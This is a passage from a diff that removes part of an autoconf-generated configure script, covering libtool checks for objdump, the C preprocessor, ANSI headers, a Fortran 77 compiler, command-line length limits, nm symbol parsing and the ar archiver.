- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP
-if test -n "$ac_ct_OBJDUMP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OBJDUMP" >&5
-$as_echo "$ac_ct_OBJDUMP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_OBJDUMP" = x; then
- OBJDUMP="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- OBJDUMP=$ac_ct_OBJDUMP
- fi
-else
- OBJDUMP="$ac_cv_prog_OBJDUMP"
-fi
-
- ;;
-
-esac
-
-need_locks="$enable_libtool_lock"
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to run the C preprocessor" >&5
-$as_echo_n "checking how to run the C preprocessor... " >&6; }
-# On Suns, sometimes $CPP names a directory.
-if test -n "$CPP" && test -d "$CPP"; then
- CPP=
-fi
-if test -z "$CPP"; then
- if ${ac_cv_prog_CPP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # Double quotes because CPP needs to be expanded
- for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp"
- do
- ac_preproc_ok=false
-for ac_c_preproc_warn_flag in '' yes
-do
- # Use a header file that comes with gcc, so configuring glibc
- # with a fresh cross-compiler works.
- # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
- # <limits.h> exists even on freestanding compilers.
- # On the NeXT, cc -E runs the code through the compiler's parser,
- # not just through cpp. "Syntax error" is here to catch this case.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@ifdef __STDC__
-@%:@ include <limits.h>
-@%:@else
-@%:@ include <assert.h>
-@%:@endif
- Syntax error
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
-
-else
- # Broken: fails on valid input.
-continue
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
- # OK, works on sane cases. Now check whether nonexistent headers
- # can be detected and how.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <ac_nonexistent.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # Broken: success on invalid input.
-continue
-else
- # Passes both tests.
-ac_preproc_ok=:
-break
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
-done
-# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
-rm -f conftest.i conftest.err conftest.$ac_ext
-if $ac_preproc_ok; then :
- break
-fi
-
- done
- ac_cv_prog_CPP=$CPP
-
-fi
- CPP=$ac_cv_prog_CPP
-else
- ac_cv_prog_CPP=$CPP
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $CPP" >&5
-$as_echo "$CPP" >&6; }
-ac_preproc_ok=false
-for ac_c_preproc_warn_flag in '' yes
-do
- # Use a header file that comes with gcc, so configuring glibc
- # with a fresh cross-compiler works.
- # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
- # <limits.h> exists even on freestanding compilers.
- # On the NeXT, cc -E runs the code through the compiler's parser,
- # not just through cpp. "Syntax error" is here to catch this case.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@ifdef __STDC__
-@%:@ include <limits.h>
-@%:@else
-@%:@ include <assert.h>
-@%:@endif
- Syntax error
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
-
-else
- # Broken: fails on valid input.
-continue
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
- # OK, works on sane cases. Now check whether nonexistent headers
- # can be detected and how.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-@%:@include <ac_nonexistent.h>
-_ACEOF
-if ac_fn_c_try_cpp "$LINENO"; then :
- # Broken: success on invalid input.
-continue
-else
- # Passes both tests.
-ac_preproc_ok=:
-break
-fi
-rm -f conftest.err conftest.i conftest.$ac_ext
-
-done
-# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
-rm -f conftest.i conftest.err conftest.$ac_ext
-if $ac_preproc_ok; then :
-
-else
- { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
-$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
-as_fn_error $? "C preprocessor \"$CPP\" fails sanity check
-See \`config.log' for more details" "$LINENO" 5; }
-fi
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5
-$as_echo_n "checking for ANSI C header files... " >&6; }
-if ${ac_cv_header_stdc+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-#include <stdarg.h>
-#include <string.h>
-#include <float.h>
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_stdc=yes
-else
- ac_cv_header_stdc=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-if test $ac_cv_header_stdc = yes; then
- # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <string.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "memchr" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "free" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi.
- if test "$cross_compiling" = yes; then :
- :
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ctype.h>
-#include <stdlib.h>
-#if ((' ' & 0x0FF) == 0x020)
-# define ISLOWER(c) ('a' <= (c) && (c) <= 'z')
-# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c))
-#else
-# define ISLOWER(c) \
- (('a' <= (c) && (c) <= 'i') \
- || ('j' <= (c) && (c) <= 'r') \
- || ('s' <= (c) && (c) <= 'z'))
-# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c))
-#endif
-
-#define XOR(e, f) (((e) && !(f)) || (!(e) && (f)))
-int
-main ()
-{
- int i;
- for (i = 0; i < 256; i++)
- if (XOR (islower (i), ISLOWER (i))
- || toupper (i) != TOUPPER (i))
- return 2;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5
-$as_echo "$ac_cv_header_stdc" >&6; }
-if test $ac_cv_header_stdc = yes; then
-
-$as_echo "@%:@define STDC_HEADERS 1" >>confdefs.h
-
-fi
-
-# On IRIX 5.3, sys/types and inttypes.h are conflicting.
-for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \
- inttypes.h stdint.h unistd.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_compile "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default
-"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-
-for ac_header in dlfcn.h
-do :
- ac_fn_c_check_header_mongrel "$LINENO" "dlfcn.h" "ac_cv_header_dlfcn_h" "$ac_includes_default"
-if test "x$ac_cv_header_dlfcn_h" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_DLFCN_H 1
-_ACEOF
-
-fi
-
-done
-
-ac_ext=cpp
-ac_cpp='$CXXCPP $CPPFLAGS'
-ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
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- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
- test -n "$ac_ct_F77" && break
-done
-
- if test "x$ac_ct_F77" = x; then
- F77=""
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- F77=$ac_ct_F77
- fi
-fi
-
-
-# Provide some information about the compiler.
-$as_echo "$as_me:${as_lineno-$LINENO}: checking for Fortran 77 compiler version" >&5
-set X $ac_compile
-ac_compiler=$2
-for ac_option in --version -v -V -qversion; do
- { { ac_try="$ac_compiler $ac_option >&5"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_compiler $ac_option >&5") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- sed '10a\
-... rest of stderr output deleted ...
- 10q' conftest.err >conftest.er1
- cat conftest.er1 >&5
- fi
- rm -f conftest.er1 conftest.err
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
-done
-rm -f a.out
-
-# If we don't use `.F' as extension, the preprocessor is not run on the
-# input file. (Note that this only needs to work for GNU compilers.)
-ac_save_ext=$ac_ext
-ac_ext=F
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU Fortran 77 compiler" >&5
-$as_echo_n "checking whether we are using the GNU Fortran 77 compiler... " >&6; }
-if ${ac_cv_f77_compiler_gnu+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat > conftest.$ac_ext <<_ACEOF
- program main
-#ifndef __GNUC__
- choke me
-#endif
-
- end
-_ACEOF
-if ac_fn_f77_try_compile "$LINENO"; then :
- ac_compiler_gnu=yes
-else
- ac_compiler_gnu=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-ac_cv_f77_compiler_gnu=$ac_compiler_gnu
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_f77_compiler_gnu" >&5
-$as_echo "$ac_cv_f77_compiler_gnu" >&6; }
-ac_ext=$ac_save_ext
-ac_test_FFLAGS=${FFLAGS+set}
-ac_save_FFLAGS=$FFLAGS
-FFLAGS=
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $F77 accepts -g" >&5
-$as_echo_n "checking whether $F77 accepts -g... " >&6; }
-if ${ac_cv_prog_f77_g+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- FFLAGS=-g
-cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_compile "$LINENO"; then :
- ac_cv_prog_f77_g=yes
-else
- ac_cv_prog_f77_g=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_f77_g" >&5
-$as_echo "$ac_cv_prog_f77_g" >&6; }
-if test "$ac_test_FFLAGS" = set; then
- FFLAGS=$ac_save_FFLAGS
-elif test $ac_cv_prog_f77_g = yes; then
- if test "x$ac_cv_f77_compiler_gnu" = xyes; then
- FFLAGS="-g -O2"
- else
- FFLAGS="-g"
- fi
-else
- if test "x$ac_cv_f77_compiler_gnu" = xyes; then
- FFLAGS="-O2"
- else
- FFLAGS=
- fi
-fi
-
-if test $ac_compiler_gnu = yes; then
- G77=yes
-else
- G77=
-fi
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-
-# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C compilers!
-
-# find the maximum length of command line arguments
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking the maximum length of command line arguments" >&5
-$as_echo_n "checking the maximum length of command line arguments... " >&6; }
-if ${lt_cv_sys_max_cmd_len+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- i=0
- teststring="ABCD"
-
- case $build_os in
- msdosdjgpp*)
- # On DJGPP, this test can blow up pretty badly due to problems in libc
- # (any single argument exceeding 2000 bytes causes a buffer overrun
- # during glob expansion). Even if it were fixed, the result of this
- # check would be larger than it should be.
- lt_cv_sys_max_cmd_len=12288; # 12K is about right
- ;;
-
- gnu*)
- # Under GNU Hurd, this test is not required because there is
- # no limit to the length of command line arguments.
- # Libtool will interpret -1 as no limit whatsoever
- lt_cv_sys_max_cmd_len=-1;
- ;;
-
- cygwin* | mingw*)
- # On Win9x/ME, this test blows up -- it succeeds, but takes
- # about 5 minutes as the teststring grows exponentially.
- # Worse, since 9x/ME are not pre-emptively multitasking,
- # you end up with a "frozen" computer, even though with patience
- # the test eventually succeeds (with a max line length of 256k).
- # Instead, let's just punt: use the minimum linelength reported by
- # all of the supported platforms: 8192 (on NT/2K/XP).
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- amigaos*)
- # On AmigaOS with pdksh, this test takes hours, literally.
- # So we just punt and use a minimum line length of 8192.
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
- # This has been around since 386BSD, at least. Likely further.
- if test -x /sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
- elif test -x /usr/sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
- else
- lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs
- fi
- # And add a safety zone
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
- ;;
-
- interix*)
- # We know the value 262144 and hardcode it with a safety zone (like BSD)
- lt_cv_sys_max_cmd_len=196608
- ;;
-
- osf*)
- # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
- # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
- # nice to cause kernel panics so lets avoid the loop below.
- # First set a reasonable default.
- lt_cv_sys_max_cmd_len=16384
- #
- if test -x /sbin/sysconfig; then
- case `/sbin/sysconfig -q proc exec_disable_arg_limit` in
- *1*) lt_cv_sys_max_cmd_len=-1 ;;
- esac
- fi
- ;;
- sco3.2v5*)
- lt_cv_sys_max_cmd_len=102400
- ;;
- sysv5* | sco5v6* | sysv4.2uw2*)
- kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
- if test -n "$kargmax"; then
- lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[ ]//'`
- else
- lt_cv_sys_max_cmd_len=32768
- fi
- ;;
- *)
- # If test is not a shell built-in, we'll probably end up computing a
- # maximum length that is only half of the actual maximum length, but
- # we can't tell.
- SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
- while (test "X"`$SHELL $0 --fallback-echo "X$teststring" 2>/dev/null` \
- = "XX$teststring") >/dev/null 2>&1 &&
- new_result=`expr "X$teststring" : ".*" 2>&1` &&
- lt_cv_sys_max_cmd_len=$new_result &&
- test $i != 17 # 1/2 MB should be enough
- do
- i=`expr $i + 1`
- teststring=$teststring$teststring
- done
- teststring=
- # Add a significant safety factor because C++ compilers can tack on massive
- # amounts of additional arguments before passing them to the linker.
- # It appears as though 1/2 is a usable value.
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
- ;;
- esac
-
-fi
-
-if test -n $lt_cv_sys_max_cmd_len ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sys_max_cmd_len" >&5
-$as_echo "$lt_cv_sys_max_cmd_len" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: none" >&5
-$as_echo "none" >&6; }
-fi
-
-
-
-
-# Check for command to grab the raw symbol name followed by C symbol from nm.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking command to parse $NM output from $compiler object" >&5
-$as_echo_n "checking command to parse $NM output from $compiler object... " >&6; }
-if ${lt_cv_sys_global_symbol_pipe+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
-# These are sane defaults that work on at least a few old systems.
-# [They come from Ultrix. What could be older than Ultrix?!! ;)]
-
-# Character class describing NM global symbol codes.
-symcode='[BCDEGRST]'
-
-# Regexp to match symbols that can be accessed directly from C.
-sympat='\([_A-Za-z][_A-Za-z0-9]*\)'
-
-# Transform an extracted symbol line into a proper C declaration
-lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'"
-
-# Transform an extracted symbol line into symbol name and symbol address
-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
-
-# Define system-specific variables.
-case $host_os in
-aix*)
- symcode='[BCDT]'
- ;;
-cygwin* | mingw* | pw32*)
- symcode='[ABCDGISTW]'
- ;;
-hpux*) # Its linker distinguishes data from code symbols
- if test "$host_cpu" = ia64; then
- symcode='[ABCDEGRST]'
- fi
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- ;;
-linux*)
- if test "$host_cpu" = ia64; then
- symcode='[ABCDGIRSTW]'
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- fi
- ;;
-irix* | nonstopux*)
- symcode='[BCDEGRST]'
- ;;
-osf*)
- symcode='[BCDEGQRST]'
- ;;
-solaris*)
- symcode='[BDRT]'
- ;;
-sco3.2v5*)
- symcode='[DT]'
- ;;
-sysv4.2uw2*)
- symcode='[DT]'
- ;;
-sysv5* | sco5v6* | unixware* | OpenUNIX*)
- symcode='[ABDT]'
- ;;
-sysv4)
- symcode='[DFNSTU]'
- ;;
-esac
-
-# Handle CRLF in mingw tool chain
-opt_cr=
-case $build_os in
-mingw*)
- opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp
- ;;
-esac
-
-# If we're using GNU nm, then use its standard symbol codes.
-case `$NM -V 2>&1` in
-*GNU* | *'with BFD'*)
- symcode='[ABCDGIRSTW]' ;;
-esac
-
-# Try without a prefix undercore, then with it.
-for ac_symprfx in "" "_"; do
-
- # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
- symxfrm="\\1 $ac_symprfx\\2 \\2"
-
- # Write the raw and C identifiers.
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-
- rm -f conftest*
- cat > conftest.$ac_ext <<EOF
-#ifdef __cplusplus
-extern "C" {
-#endif
-char nm_test_var;
-void nm_test_func(){}
-#ifdef __cplusplus
-}
-#endif
-int main(){nm_test_var='a';nm_test_func();return(0);}
-EOF
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- # Now try to grab the symbols.
- nlist=conftest.nm
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist\""; } >&5
- (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s "$nlist"; then
- # Try sorting and uniquifying the output.
- if sort "$nlist" | uniq > "$nlist"T; then
- mv -f "$nlist"T "$nlist"
- else
- rm -f "$nlist"T
- fi
-
- # Make sure that we snagged all the symbols we need.
- if grep ' nm_test_var$' "$nlist" >/dev/null; then
- if grep ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<EOF > conftest.$ac_ext
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-EOF
- # Now generate the symbol file.
- eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext'
-
- cat <<EOF >> conftest.$ac_ext
-#if defined (__STDC__) && __STDC__
-# define lt_ptr_t void *
-#else
-# define lt_ptr_t char *
-# define const
-#endif
-
-/* The mapping between symbol names and symbols. */
-const struct {
- const char *name;
- lt_ptr_t address;
-}
-lt_preloaded_symbols[] =
-{
-EOF
- $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext
- cat <<\EOF >> conftest.$ac_ext
- {0, (lt_ptr_t) 0}
-};
-
-#ifdef __cplusplus
-}
-#endif
-EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
- lt_save_LIBS="$LIBS"
- lt_save_CFLAGS="$CFLAGS"
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
- (eval $ac_link) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
- LIBS="$lt_save_LIBS"
- CFLAGS="$lt_save_CFLAGS"
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
- else
- echo "cannot find nm_test_var in $nlist" >&5
- fi
- else
- echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5
- fi
- else
- echo "$progname: failed program was:" >&5
- cat conftest.$ac_ext >&5
- fi
- rm -f conftest* conftst*
-
- # Do not use the global_symbol_pipe unless it works.
- if test "$pipe_works" = yes; then
- break
- else
- lt_cv_sys_global_symbol_pipe=
- fi
-done
-
-fi
-
-if test -z "$lt_cv_sys_global_symbol_pipe"; then
- lt_cv_sys_global_symbol_to_cdecl=
-fi
-if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: failed" >&5
-$as_echo "failed" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ok" >&5
-$as_echo "ok" >&6; }
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for objdir" >&5
-$as_echo_n "checking for objdir... " >&6; }
-if ${lt_cv_objdir+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- rm -f .libs 2>/dev/null
-mkdir .libs 2>/dev/null
-if test -d .libs; then
- lt_cv_objdir=.libs
-else
- # MS-DOS does not allow filenames that begin with a dot.
- lt_cv_objdir=_libs
-fi
-rmdir .libs 2>/dev/null
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_objdir" >&5
-$as_echo "$lt_cv_objdir" >&6; }
-objdir=$lt_cv_objdir
-
-
-
-
-
-case $host_os in
-aix3*)
- # AIX sometimes has problems with the GCC collect2 program. For some
- # reason, if we set the COLLECT_NAMES environment variable, the problems
- # vanish in a puff of smoke.
- if test "X${COLLECT_NAMES+set}" != Xset; then
- COLLECT_NAMES=
- export COLLECT_NAMES
- fi
- ;;
-esac
-
-# Sed substitution that helps us do robust quoting. It backslashifies
-# metacharacters that are still active within double-quoted strings.
-Xsed='sed -e 1s/^X//'
-sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g'
-
-# Same as above, but do not quote variable references.
-double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g'
-
-# Sed substitution to delay expansion of an escaped shell variable in a
-# double_quote_subst'ed string.
-delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g'
-
-# Sed substitution to avoid accidental globbing in evaled expressions
-no_glob_subst='s/\*/\\\*/g'
-
-# Constants:
-rm="rm -f"
-
-# Global variables:
-default_ofile=libtool
-can_build_shared=yes
-
-# All known linkers require a `.a' archive for static linking (except MSVC,
-# which needs '.lib').
-libext=a
-ltmain="$ac_aux_dir/ltmain.sh"
-ofile="$default_ofile"
-with_gnu_ld="$lt_cv_prog_gnu_ld"
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$AR"; then
- ac_cv_prog_AR="$AR" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_AR="${ac_tool_prefix}ar"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-AR=$ac_cv_prog_AR
-if test -n "$AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5
-$as_echo "$AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_AR"; then
- ac_ct_AR=$AR
- # Extract the first word of "ar", so it can be a program name with args.
-set dummy ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_AR"; then
- ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_AR="ar"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_AR=$ac_cv_prog_ac_ct_AR
-if test -n "$ac_ct_AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AR" >&5
-$as_echo "$ac_ct_AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
